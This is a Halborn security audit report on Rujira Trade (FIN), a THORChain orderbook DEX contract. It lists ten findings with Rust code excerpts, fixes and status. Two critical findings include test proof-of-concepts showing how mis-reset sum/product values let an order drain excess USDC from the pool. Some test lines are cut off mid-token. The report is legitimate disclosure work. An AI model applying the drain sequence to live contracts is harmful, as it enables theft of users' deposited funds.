← BACK TO AUDITS

RUJI Trade (FIN) - THORChain / Rujira

Prepared by: **HALBORN** Last Updated 05/02/2025

Date of Engagement: January 23rd, 2025 - February 7th, 2025

Summary

100% OF ALL REPORTED FINDINGS HAVE BEEN ADDRESSED

ALL FINDINGS	CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
10	2	0	3	2	3

1. Introduction

`THORChain` engaged Halborn to conduct a security assessment of the `Rujira Trade (FIN)` contracts, beginning on January 23rd, 2025 and ending on February 7th, 2025. This security assessment was scoped to the smart contracts in the Rujira GitHub repository. Commit hashes and further details can be found in the **Scope** section of this report.

`Rujira Trade (FIN)` is a fully on-chain, decentralized orderbook DEX that combines an O(1) matching algorithm with liquidity from multiple sources, including `Rujira's AMM pools (BOW)` and THORChain's Base Layer liquidity.

2. Assessment Summary

The team at Halborn assigned a full-time security engineer to verify the security of the smart contracts. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this assessment is to:

- Ensure that smart contract functions operate as intended
- Identify potential security issues with the smart contracts

In summary, Halborn identified some improvements to reduce the likelihood and impact of risks, which were partially addressed by the `Rujira team`. The main ones were the following:

- `Ensure sum and product parameters are correctly set after a partial distribution.`
- `Properly reset parameters after a pool reset.`
- `Remove unnecessary decimal scaling in normalized_price.`
- `Handle missing decimals fields in QueryPoolResponse.`
- `Adjust swap calculations to properly refund or account for excess offer amounts.`

3. Test Approach And Methodology

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the code and can quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the assessment:

- Research into architecture, purpose, and use of the platform.
- Manual code read and walk through.
- Manual Assessment of use and safety for the critical Rust variables and functions in scope to identify any arithmetic related vulnerability classes.
- Architecture related logical controls.
- Cross contract call controls.
- Scanning of Rust files for vulnerabilities(`cargo audit`)
- Review and improvement of integration tests.
- Verification of integration tests and implementation of new ones.

4. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets** of **Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

4.1 EXPLOITABILITY

ATTACK ORIGIN (AO):

Captures whether the attack requires compromising a specific account.

ATTACK COST (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

ATTACK COMPLEXITY (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

METRICS:

EXPLOITABILITY METRIC (M_E)	METRIC VALUE	NUMERICAL VALUE
Attack Origin (AO)	Arbitrary (AO:A) Specific (AO:S)	1 0.2
Attack Cost (AC)	Low (AC:L) Medium (AC:M) High (AC:H)	1 0.67 0.33
Attack Complexity (AX)	Low (AX:L) Medium (AX:M) High (AX:H)	1 0.67 0.33

Exploitability E is calculated using the following formula:

$$E = \prod m_e$$

4.2 IMPACT

CONFIDENTIALITY (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

INTEGRITY (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

AVAILABILITY (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

DEPOSIT (D):

Measures the impact to the deposits made to the contract by either users or owners.

YIELD (Y):

Measures the impact to the yield generated by the contract for either users or owners.

METRICS:

IMPACT METRIC (M_I)	METRIC VALUE	NUMERICAL VALUE
Confidentiality (C)	None (C:N) Low (C:L) Medium (C:M) High (C:H) Critical (C:C)	0 0.25 0.5 0.75 1
Integrity (I)	None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C)	0 0.25 0.5 0.75 1
Availability (A)	None (A:N) Low (A:L) Medium (A:M) High (A:H) Critical (A:C)	0 0.25 0.5 0.75 1
Deposit (D)	None (D:N) Low (D:L) Medium (D:M) High (D:H) Critical (D:C)	0 0.25 0.5 0.75 1
Yield (Y)	None (Y:N) Low (Y:L) Medium (Y:M) High (Y:H) Critical (Y:C)	0 0.25 0.5 0.75 1

Impact I is calculated using the following formula:

$$I = max(m_I) + \frac{\sum m_I - max(m_I)}{4}$$

4.3 SEVERITY COEFFICIENT

REVERSIBILITY (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

SCOPE (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

METRICS:

SEVERITY COEFFICIENT (C)	COEFFICIENT VALUE	NUMERICAL VALUE
Reversibility (r)	None (R:N) Partial (R:P) Full (R:F)	1 0.5 0.25
Scope (s)	Changed (S:C) Unchanged (S:U)	1.25 1

Severity Coefficient C is obtained by the following product:

$$C = rs$$

The Vulnerability Severity Score S is obtained by:

$$S = min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

TABLE OF CONTENTS

1. Introduction
2. Assessment summary
3. Test approach and methodology
4. Risk methodology
5. Scope
6. Assessment summary & findings overview
7. Findings & Tech Details
    7.1 Exponential growth in filled amounts after partial distribution
    7.2 Users can claim excess funds after pool reset
    7.3 Redundant normalization may cause incorrect oracle prices
    7.4 Missing decimals`field causes parsing failures in querypoolresponse
    7.5 Swap overpayment leads to loss for buyers
    7.6 Users are forced to create an order to withdraw their filled amount
    7.7 Missing validations allow invalid configurations
    7.8 Small orders are removed from the system
    7.9 Lack of fund validation before market maker swap execution
    7.10 Prevent unnecessary market maker quote after offer is fulfilled
8. Automated Testing

// DOWNLOAD THE FULL REPORT
RUJI TRADE (FIN)
SAVE AS PDF
* Use Google Chrome for best results
** Check "Background Graphics" in the print settings if needed

SEVERITY	SCORE VALUE RANGE
Critical	9 - 10
High	7 - 8.9
Medium	4.5 - 6.9
Low	2 - 4.4
Informational	0 - 1.9

5. SCOPE

REPOSITORY

(a) Repository: rujira

(b) Assessed Commit ID: 9158579

(c) Items in scope:

- contracts/rujira-fin/src/events.rs
- contracts/rujira-fin/src/order.rs
- contracts/rujira-fin/src/error.rs

↓ Expand ↓

Out-of-Scope: Third party dependencies and economic attacks.

REMEDIATION COMMIT ID:

- bde18fd

Out-of-Scope: New features/implementations after the remediation commit IDs.

6. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
2	0	3	2	3

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
EXPONENTIAL GROWTH IN FILLED AMOUNTS AFTER PARTIAL DISTRIBUTION	CRITICAL	SOLVED - 02/02/2025
USERS CAN CLAIM EXCESS FUNDS AFTER POOL RESET	CRITICAL	SOLVED - 02/04/2025
REDUNDANT NORMALIZATION MAY CAUSE INCORRECT ORACLE PRICES	MEDIUM	SOLVED - 02/14/2025
MISSING DECIMALS`FIELD CAUSES PARSING FAILURES IN QUERYPOOLRESPONSE	MEDIUM	NOT APPLICABLE - 04/04/2025
SWAP OVERPAYMENT LEADS TO LOSS FOR BUYERS	MEDIUM	RISK ACCEPTED - 04/11/2025
USERS ARE FORCED TO CREATE AN ORDER TO WITHDRAW THEIR FILLED AMOUNT	LOW	SOLVED - 04/01/2025
MISSING VALIDATIONS ALLOW INVALID CONFIGURATIONS	LOW	SOLVED - 04/01/2025
SMALL ORDERS ARE REMOVED FROM THE SYSTEM	INFORMATIONAL	SOLVED - 02/14/2025
LACK OF FUND VALIDATION BEFORE MARKET MAKER SWAP EXECUTION	INFORMATIONAL	ACKNOWLEDGED - 04/11/2025
PREVENT UNNECESSARY MARKET MAKER QUOTE AFTER OFFER IS FULFILLED	INFORMATIONAL	SOLVED - 02/14/2025

7. FINDINGS & TECH DETAILS

7.1 EXPONENTIAL GROWTH IN FILLED AMOUNTS AFTER PARTIAL DISTRIBUTION

// CRITICAL

Description

The `distribute_full` function **incorrectly applies the liquidity distribution algorithm** after a first distribution.

Since `sum` and `product` are **no longer at their initial values**, directly multiplying the `product` parameter by the **inverted rate** (which, depending on the side, could be either the price or its inverse) fails to account for the fact that `self.total` is **not the same as in the initial state.**

- **If only a full distribution occurs**, `sum = 0` and `product = 1`, leading to correct calculations.
- **If a partial distribution occurs first**, `sum` and `product` are **no longer their initial values**, leading to incorrect `bid_filled_amount` calculations.
- This results in **exponential growth in filled amounts**, causing the contract to **distribute excessive assets**—potentially leading to **financial losses and unfair allocation** among bidders.

Code Location

Code of `distribute_full` from **packages/rujira-rs/src/bid_pool/pool.rs** file.

```rust
fn distribute_full(&mut self, rate: &Decimal256) -> Result<DistributionResult, BidPoolError> {
    let inv = rate.inv().unwrap();
    let consumed_offer = Decimal256::from_atomics(self.total, 0).unwrap() * inv;
    let consumed_bids = self.total;
    self.sum = self.sum + self.product.mul(inv);

    let mut snapshots = vec![SumSnapshot::from(*self)];
    self.increment_epoch();
    snapshots.push(SumSnapshot::from(*self));

    Ok(DistributionResult {
        consumed_offer: consumed_offer.to_uint_ceil(),
        consumed_bids,
        snapshots,
    })
}
```

Proof of Concept

Scenario:
This test evaluates the behavior of the contract when **two consecutive swaps** are executed—first, a **partial distribution** followed by a **full distribution**.

1. **Order Creation:**

- Three users place orders at a fixed price of **1000 USDC per BTC**.
  - 100 BTC
  - 1000 BTC
  - 500 BTC
- The total bid pool consists of **1,600 BTC** across different users.

2. **First Swap (Partial Distribution - 1,000,000 USDC)**

- A swap of **1,000,000 USDC** is executed, **partially** filling the bids.

3. **Second Swap (Full Distribution - 1,600,000 USDC)**

- A second swap of **1,600,000 USDC** is performed, intended to fully distribute the remaining bids.

Test:

```rust
#[test]
fn test_first_partial_then_full() {
    let (mut app, contract) = setup();
    let owner = app.api().addr_make("owner");
    let funds = vec![
        coin(500_000_000_000_000, "btc-btc"),
        coin(500_000_000_000_000, "eth-usdc"),
    ];
    app.init_modules(|router, _, storage| {
        router
            .bank
            .init_balance(storage, &owner, funds.clone())
            .unwrap();
    });

    let user= app.api().addr_make("user");
    app.init_modules(|router, _, storage| {
        router
            .bank
            .init_balance(storage, &user, funds.clone())
            .unwrap();
    });

    let user2= app.api().addr_make("user2");
    app.init_modules(|router, _, storage| {
        router
            .bank
            .init_balance(storage, &user2, funds.clone())
            .unwrap();
    });

    let user3= app.api().addr_make("user3");
    app.init_modules(|router, _, storage| {
        router
            .bank
            .init_balance(storage, &user3, funds.clone())
            .unwrap();
    });


    println!("----> Create Orders ----");


    app.execute_contract(
        owner.clone(),
        contract.clone(),
        &ExecuteMsg::Order(vec![
            (
                Side::Base,
                Price::Fixed(Decimal::from_str("1000.00").unwrap()),
                Uint128::from(100u128),
            ),
        ]),
        &funds,
    )
    .unwrap();


    app.execute_contract(
        user2.clone(),
        contract.clone(),
        &ExecuteMsg::Order(vec![
            (
                Side::Base,
                Price::Fixed(Decimal::from_str("1000.00").unwrap()),
                Uint128::from(1000u128),
            ),
        ]),
        &funds,
    )
    .unwrap();


    app.execute_contract(
        user3.clone(),
        contract.clone(),
        &ExecuteMsg::Order(vec![
            (
                Side::Base,
                Price::Fixed(Decimal::from_str("1000.00").unwrap()),
                Uint128::from(500u128),
            ),
        ]),
        &funds,
    )
    .unwrap();


    println!("----> Swap ----");

    //First swap with same amount as price
    let swap_amount = coin(1_000_000, "eth-usdc");
```

```
        println!("----> First swap with an offer of 500_000 ----");

        let res = app
            .execute_contract(
                user.clone(),
                contract.clone(),
                &ExecuteMsg::Swap(SwapRequest {
                    min_return: None,
                    to: None,
                    callback: None,
                }),
                &[swap_amount],
            )
            .unwrap();

            res.assert_event(&Event::new("wasm-rujira-fin/trade").add_attributes(vec![
                ("rate", "1000"),
                ("price", "fixed:1000"),
                ("offer", "1000000"),
                ("bid", "1000"),
                ("side", "base"),
            ]));

            let orders_owner: OrdersResponse = app
            .wrap()
            .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:owner.clone().to_string(),side:None,offset:None,
            .unwrap();

            let orders_user2: OrdersResponse = app
            .wrap()
            .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:user2.clone().to_string(),side:None,offset:None,
            .unwrap();

            let orders_user3: OrdersResponse = app
            .wrap()
            .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:user3.clone().to_string(),side:None,offset:None,
            .unwrap();


            println!("Owner Orders:");
            for (i, order) in orders_owner.orders.iter().enumerate() {
                println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
            }

            println!("");

            println!("User2 Orders:");
            for (i, order) in orders_user2.orders.iter().enumerate() {
                println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
            }

            println!("");

            println!("User3 Orders:");
            for (i, order) in orders_user3.orders.iter().enumerate() {
                println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
            }

            println!("");


        //Second swap with enough amount to cover all the bids
        let swap_amount = coin(1_600_000, "eth-usdc");

        println!("----> Second swap with an offer of 1_600_000 ----");

        let res = app
            .execute_contract(
                user.clone(),
                contract.clone(),
                &ExecuteMsg::Swap(SwapRequest {
                    min_return: None,
                    to: None,
                    callback: None,
                }),
                &[swap_amount],
            )
            .unwrap();


        res.assert_event(&Event::new("wasm-rujira-fin/trade").add_attributes(vec![
            ("rate", "1000"),
            ("price", "fixed:1000"),
            ("offer", "600000"),
            ("bid", "600"),
            ("side", "base"),
        ]));


        let orders_owner: OrdersResponse = app
        .wrap()
        .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:owner.clone().to_string(),side:None,offset:None,limi
        .unwrap();

        let orders_user2: OrdersResponse = app
        .wrap()
        .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:user2.clone().to_string(),side:None,offset:None,limi
        .unwrap();

        let orders_user3: OrdersResponse = app
        .wrap()
        .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:user3.clone().to_string(),side:None,offset:None,limi
        .unwrap();


        println!("Owner Orders:");
        for (i, order) in orders_owner.orders.iter().enumerate() {
            println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
        }

        println!("");

        println!("User2 Orders:");
        for (i, order) in orders_user2.orders.iter().enumerate() {
            println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
        }

        println!("");

        println!("User3 Orders:");
        for (i, order) in orders_user3.orders.iter().enumerate() {
            println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
        }

        println!("");

    }
```

Result:

- After the **first swap**, the filled amounts appear **reasonable and proportional**, with:
  - **Owner:** 62,500 USDC filled.
  - **User2:** 625,000 USDC filled.
  - **User3:** 312,500 USDC filled.
- However, after the **second swap**, the filled amounts **explode exponentially**, indicating a critical miscalculation in the bid distribution logic:
  - **Owner: 37,500,062,500 USDC** (instead of 100,000 USDC).
  - **User2: 375,000,625,000 USDC** (instead of 1,000,000 USDC).
  - **User3: 187,500,312,500 USDC** (instead of 500,000 USDC).

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:C/I:C/D:C/Y:N (10.0)

Recommendation

It is recommended to review the **distribute_full function** to ensure that sum and product are updated correctly between **partial and full** distributions.

Remediation Comment

SOLVED: The **Rujira team** has resolved this issue by modifying the implementation of the `distribute_full` function. The update includes the `offer_per_bid` parameter in the liquidity-sharing algorithm, ensuring that the current pool liquidity—after the previous swap—is properly accounted for.

```
let consumed_offer = Decimal256::from_ratio(self.total.mul(rate.denominator()), rate.numerator()).to_uint_ceil();

let consumed_bids = self.total;

let offer_per_bid = DecimalScaled::from_ratio(consumed_offer, consumed_bids);
```

This issue was fixed in commit 7fac6f8e9252743b523a8fa3427183cef9f87950

Remediation Hash

https://gitlab.com/thorchain/rujira/-/commit/bde18fdb02b9b0213e43308c7ebf5b865886ac97

7.2 USERS CAN CLAIM EXCESS FUNDS AFTER POOL RESET

// CRITICAL

Description

After a **full distribution**, if a pool is **emptied and refilled**, the **sum and product values are not reset correctly**, leading to severe miscalculations in future distributions.

- **New orders inherit incorrect parameters**, causing inflated filled amounts.
- **A newly placed order can withdraw more funds than it should**, depleting the contract balance unfairly.
- **Users who haven't not yet claimed their filled bids may find insufficient funds**, making rightful withdrawals impossible.

Impact:

- **Severe fund misallocation**, leading to financial loss for users.
- **Potential contract insolvency**, as valid withdrawals may not be covered.
- **Exploitable loophole**, allowing users to drain excess funds by strategically placing new orders after a pool reset.

Code Location

Code of `bid_filled_amount` function from **packages/rujira-rs/src/bid_pool/pool.rs** file.

```
fn bid_filled_amount(
    &self,
    bid: &Bid,
    sum_snapshot: Option<DecimalScaled>,
) -> StdResult<Uint256> {
    if bid.product_snapshot.is_zero() {
        return Ok(Uint256::zero());
    }
    let reference_ss = sum_snapshot.unwrap_or(bid.sum_snapshot);
    let res = reference_ss
        .sub(bid.sum_snapshot)
        .mul(bid.amount)
        .div(bid.product_snapshot)
        .to_uint_floor();

    Ok(res)
}
```

Proof of Concept

Scenario:
This test simulates a situation where a **pool is fully drained after a total distribution**, and a new order is placed immediately after. The goal is to observe how the system behaves when a new order is inserted into an **empty pool**, followed by another swap.

1. **Initial State:**
   - Orders totaling **1,600 BTC** are created at a fixed price of **1,000 USDC per BTC**.
     - 100 BTC
     - 1000 BTC
     - 500 BTC
   - A **full distribution of 1,600,000 USDC** occurs, **filling all existing orders** and leaving the pool **empty**.
2. **New Order and Swap:**
   - A new order of **800 BTC** is placed after the pool is empty.
   - A second swap is executed with an **offer of only 1,000 USDC (equivalent to 1 BTC)**, yet the newly placed **order gets fully filled**.
3. **Claiming Process:**
   - The user who placed the new order **claims their filled amount** and receives **1,300,000 USDC**, which is significantly more than expected.
   - Another user tries to claim their filled amount, but the **contract lacks sufficient funds**, resulting in **a panic**.

Test:

```
#[test]
#[should_panic]
fn test_new_bid_after_pool_ends_and_new_swap() {
    let (mut app, contract) = setup();
    let owner = app.api().addr_make("owner");
    let funds = vec![
        coin(500_000_000_000_000, "btc-btc"),
        coin(500_000_000_000_000, "eth-usdc"),
    ];
    app.init_modules(|router, _, storage| {
        router
            .bank
            .init_balance(storage, &owner, funds.clone())
            .unwrap();
    });

    let user= app.api().addr_make("user");
    app.init_modules(|router, _, storage| {
        router
            .bank
            .init_balance(storage, &user, funds.clone())
            .unwrap();
    });

    let user2= app.api().addr_make("user2");
    app.init_modules(|router, _, storage| {
        router
            .bank
            .init_balance(storage, &user2, funds.clone())
            .unwrap();
    });

    let user3= app.api().addr_make("user3");
    app.init_modules(|router, _, storage| {
        router
            .bank
            .init_balance(storage, &user3, funds.clone())
            .unwrap();
    });


    println!("----> Create Orders: 1_600 BTC in total ----");
    println!("----> Price Bid Pool 1_000 ----");
    println!("");
```

```
    app.execute_contract(
        owner.clone(),
        contract.clone(),
        &ExecuteMsg::Order(vec![
            (
                Side::Base,
                Price::Fixed(Decimal::from_str("1000.00").unwrap()),
                Uint128::from(100u128),
            ),
        ]),
        &funds,
    )
    .unwrap();

    app.execute_contract(
        user2.clone(),
        contract.clone(),
        &ExecuteMsg::Order(vec![
            (
                Side::Base,
                Price::Fixed(Decimal::from_str("1000.00").unwrap()),
                Uint128::from(1000u128),
            ),
        ]),
        &funds,
    )
    .unwrap();

    app.execute_contract(
        user3.clone(),
        contract.clone(),
        &ExecuteMsg::Order(vec![
            (
                Side::Base,
                Price::Fixed(Decimal::from_str("1000.00").unwrap()),
                Uint128::from(500u128),
            ),
        ]),
        &funds,
    )
    .unwrap();



    println!("----> Swap: Total Distribute of 1_600_000 USDC----");
    println!("");

    let swap_amount = coin(1_600_000, "eth-usdc");

    let res = app
        .execute_contract(
            user.clone(),
            contract.clone(),
            &ExecuteMsg::Swap(SwapRequest {
                min_return: None,
                to: None,
                callback: None,
            }),
            &[swap_amount],
        )
        .unwrap();

    res.assert_event(&Event::new("wasm-rujira-fin/trade").add_attributes(vec![
        ("rate", "1000"),
        ("price", "fixed:1000"),
        ("offer", "1600000"),
        ("bid", "1600"),
        ("side", "base"),
    ]));


    let orders_owner: OrdersResponse = app
    .wrap()
    .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:owner.clone().to_string(),side:None,offset:None,limi
    .unwrap();

    let orders_user2: OrdersResponse = app
    .wrap()
    .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:user2.clone().to_string(),side:None,offset:None,limi
    .unwrap();

    let orders_user3: OrdersResponse = app
    .wrap()
    .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:user3.clone().to_string(),side:None,offset:None,limi
    .unwrap();


    println!("Owner Orders:");
    for (i, order) in orders_owner.orders.iter().enumerate() {
        println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
    }

    println!("");

    println!("User2 Orders:");
    for (i, order) in orders_user2.orders.iter().enumerate() {
        println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
    }

    println!("");

    println!("User3 Orders:");
    for (i, order) in orders_user3.orders.iter().enumerate() {
        println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
    }

    println!("");


    // Save the balance of User3 before creating the New Order to verify at the end the net gain
    let user3_usdc_balance_before = app.wrap().query_balance(user3.clone(), "eth-usdc").unwrap();

    println!("--->> AT THIS MOMENT, THE POOL IS EMPTY ----");
    println!("");

    println!("----> New order from user3 of 800 BTC ---- ");
    let funds = vec![
        coin(1_000_000, "btc-btc"),
    ];

    app.execute_contract(
        user3.clone(),
        contract.clone(),
        &ExecuteMsg::Order(vec![
            (
                Side::Base,
                Price::Fixed(Decimal::from_str("1000.00").unwrap()),
                Uint128::from(800u128),
            ),
        ]),
        &funds,
    )
    .unwrap();


    //Second swap with minimum amount for 1 BTC
    let swap_amount = coin(1_000, "eth-usdc");

    println!("----> Second swap with an offer of ONLY 1_000 USDC (= 1 BTC) ----");
    println!("");

    let res = app
        .execute_contract(
            user.clone(),
            contract.clone(),
            &ExecuteMsg::Swap(SwapRequest {
                min_return: None,
                to: None,
                callback: None,
            }),
            &[swap_amount],
        )
        .unwrap();


    res.assert_event(&Event::new("wasm-rujira-fin/trade").add_attributes(vec![
        ("rate", "1000"),
        ("price", "fixed:1000"),
        ("offer", "1000"),
        ("bid", "1"),
        ("side", "base"),
    ]));


    let orders_owner: OrdersResponse = app
    .wrap()
    .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:owner.clone().to_string(),side:None,offset:None,limi
    .unwrap();

    let orders_user2: OrdersResponse = app
    .wrap()
    .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:user2.clone().to_string(),side:None,offset:None,limi
    .unwrap();

    let orders_user3: OrdersResponse = app
    .wrap()
    .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:user3.clone().to_string(),side:None,offset:None,limi
    .unwrap();


    println!("Owner Orders:");
    for (i, order) in orders_owner.orders.iter().enumerate() {
        println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
    }

    println!("");

    println!("User2 Orders:");
    for (i, order) in orders_user2.orders.iter().enumerate() {
        println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
    }

    println!("");

    println!("User3 Orders:");
    for (i, order) in orders_user3.orders.iter().enumerate() {
        println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
    }

    println!("");


    println!("---> Claim the filled amount by User3 ---- ");
    app.execute_contract(
        user3.clone(),
        contract.clone(),
        &ExecuteMsg::Order(vec![
            (
                Side::Base,
                Price::Fixed(Decimal::from_str("1000.00").unwrap()),
                Uint128::from(0u128),
            ),
        ]),
        &funds,
    )
    .unwrap();


    let user3_usdc_balance_after_last_swap = app.wrap().query_balance(user3.clone(), "eth-usdc").unwrap();
    let gain =  user3_usdc_balance_after_last_swap.amount - user3_usdc_balance_before.amount;

    println!("USDC obtained by User3: {}", gain);
    println!("");


    println!("---> Return filled amount for user Owner ---- ");
    println!("");

    app.execute_contract(
        owner.clone(),
        contract.clone(),
        &ExecuteMsg::Order(vec![
            (
                Side::Base,
                Price::Fixed(Decimal::from_str("1000.00").unwrap()),
                Uint128::from(0u128),
            ),
        ]),
        &funds,
    )
    .unwrap();

    println!("---> Last Orders Status ---");
    let orders_owner: OrdersResponse = app
    .wrap()
    .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:owner.clone().to_string(),side:None,offset:None,limi
    .unwrap();

    let orders_user2: OrdersResponse = app
    .wrap()
    .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:user2.clone().to_string(),side:None,offset:None,limi
    .unwrap();

    let orders_user3: OrdersResponse = app
    .wrap()
    .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:user3.clone().to_string(),side:None,offset:None,limi
    .unwrap();


    println!("Owner Orders:");
    for (i, order) in orders_owner.orders.iter().enumerate() {
        println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
    }

    println!("");

    println!("User2 Orders:");
    for (i, order) in orders_user2.orders.iter().enumerate() {
        println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
    }

    println!("");

    println!("User3 Orders:");
    for (i, order) in orders_user3.orders.iter().enumerate() {
        println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
    }

    println!("");


    let contract_balance = app.wrap().query_all_balances(contract.clone()).unwrap();

    println!(" --> Contract balance remained for the last user to claim:");
    for (i, coin) in contract_balance.iter().enumerate() {
        println!("  - Coin {} -> Amount: {}", coin.denom, coin.amount);
    }

    println!("");
    println!(" ***** User2 cannot claimed his filled amount since there is no funds enough in the contract *****");

    app.execute_contract(
        user2.clone(),
        contract.clone(),
        &ExecuteMsg::Order(vec![
            (
                Side::Base,
                Price::Fixed(Decimal::from_str("1000.00").unwrap()),
                Uint128::from(0u128),
            ),
        ]),
        &funds,
    )
    .unwrap();


}
```

Result:
The test **fails with a panic** due to an **overflow error** when a user attempts to withdraw funds after the system has incorrectly over-allocated USDC to another user.

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:C/I:C/D:C/Y:N (10.0)

Recommendation

It is recommended to verify the filled amount calculation to ensure that new orders do not inherit past sum and product values while still preserving past values for future claims from previous users.

Remediation Comment

SOLVED: The **Rujira team** has solved this issue by updating the epoch snapshot parameter during each bid synchronization. This parameter is responsible for determining whether the pool has been emptied or not.

This issue was fixed in commit fb3f7af3be6e42c91264e926a14391f44e954b10

Remediation Hash

https://gitlab.com/thorchain/rujira/-/commit/bde18fdb02b9b0213e43308c7ebf5b865886ac97

7.3 REDUNDANT NORMALIZATION MAY CAUSE INCORRECT ORACLE PRICES

// MEDIUM

Description

The `normalized_price` function **applies additional decimal scaling** based on pool asset decimals, even though the **human price (TOR-USD) is already normalized.**

The parameters used in `human_price` come directly from the pool information, specifically from the `asset_tor_price` field, which is expressed in the same unit (TOR), meaning the number of decimals is already consistent. **Multiplying by the decimal factor in** `normalized_price` may lead to incorrect price calculations, impacting trading accuracy.

This issue **only affects assets with less than 6 decimals**, as the **"decimals" field returned from the pool information is rounded to 8 decimals** for assets with more than 8 decimals. Therefore, assets with higher precision do not experience this miscalculation, but those with lower decimal values could be incorrectly adjusted.

Code Location

Code of `human_price` and `normalized_price` functions from **contracts/rujira-fin/src/oracle.rs** file.

```rust
fn human_price(&self) -> Decimal {
    let num = self.pools[0].asset_tor_price;
    let den = self.pools[1].asset_tor_price;
    num / den
}

fn normalized_price(&self) -> Decimal {
    let ten = Decimal::from_ratio(10u128, 1u128);
    self.human_price()
        .mul(ten.pow(self.pools[1].clone().decimals as u32))
        .div(ten.pow(self.pools[0].clone().decimals as u32))
}
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:M (5.0)

Recommendation

It is recommended to eliminate the redundant `normalized_price` function, as the price is already normalized in the `human_price` function.

Remediation Comment

SOLVED: The **Rujira team** has solved this issue by removing the current Oracle implementation.

This issue was fixed in commit 648cd4fab44d4db5b23182e0349365995212c3b9

Remediation Hash

https://gitlab.com/thorchain/rujira/-/commit/bde18fdb02b9b0213e43308c7ebf5b865886ac97

7.4 MISSING `DECIMALS` FIELD CAUSES PARSING FAILURES IN QUERYPOOLRESPONSE

// MEDIUM

Description

The implementation assumes that all tokens in `QueryPoolResponse` will include the `decimals` field. However, according to THORChain's API behavior:

- The `decimals` field is **only present** if the token has **fewer than 8 decimals**.
- For tokens with **8 or more decimals**, the field is **omitted** from the response.

As a result, the `try_from` implementation does not properly handle this scenario, leading to a **runtime failure** when attempting to parse a missing `decimals` field.

Code Location

Code of `try_from` function from **packages/rujira-rs/src/query/pool.rs** file.

```rust
impl TryFrom<QueryPoolResponse> for Pool {
    type Error = TryFromPoolError;
    fn try_from(v: QueryPoolResponse) -> Result<Self, Self::Error> {
        Ok(Self {
            asset: Asset::Layer1(Layer1Asset::try_from(v.asset)?),
            short_code: v.short_code,
            status: PoolStatus::try_from(v.status)?,
            decimals: u8::try_from(v.decimals)?,
            pending_inbound_asset: Uint128::from_str(v.pending_inbound_asset.as_str())?,
